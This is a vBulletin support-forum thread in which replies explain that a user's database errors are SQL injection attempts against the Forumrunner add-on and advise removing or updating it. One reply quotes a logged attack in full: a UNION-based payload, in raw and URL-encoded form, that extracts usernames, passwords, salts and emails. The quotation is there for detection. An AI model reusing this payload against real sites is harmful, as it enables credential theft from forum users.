[TheLastSuperman]

Originally Posted by mscottralston

Hi folks,

I'm occasionally getting the following error on my forums after my server updated MySQL from 5.1 to 5.5:


I'd love some advice, please! Clearly something is no longer valid in the new version of SQL, but I'm not sure where in vBulletin to edit the syntax, nor what I should be editing it to (some kind of bracketing issue, I'm guessing).

Dave is correct, see below.

Originally Posted by Dave

That's not related to your MySQL version, in fact, it's someone attempting to hack your forum!
Forumrunner was vulnerable to SQL injection not too long ago. You should immediately delete the forumrunner folder if you don't use it or update it to the latest version if you do use it.

Another one they might try via forumrunner is also:

PHP Code:

Invalid SQL:

        SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
            thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
        FROM post AS post
        LEFT JOIN thread AS thread USING (threadid)
        WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (blog_user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D)) and userid>0 and userid<5000))x),5,6,7,8,9,10-- -);

MySQL Error   : Unknown column 'username' in 'where clause'
Error Number  : 1054
Request Date  : Friday, November 18th 2016 @ 05:07:32 PM
Error Date    : Friday, November 18th 2016 @ 05:07:32 PM
Script        : http://www.removed.com/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(blog_user)where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D))%20and%20userid%3E0%20and%20userid%3C5000))x),5,6,7,8,9,10--%20-
Referrer      : 


So if ANYONE is seeing database error emails similar to either of the above posted examples, someone as Dave first mentioned is trying to hack your site and if you have quite a few of either database error email then they're actively and consistently trying to hack your site. As Dave also mentioned, if you're not using it, remove it entirely.

For upgrades mscott, simply follow the information in the manual, if going from 4.x to a higher 4.x it's fairly straight forward (just double-check the required PHP and MySQL versions beforehand).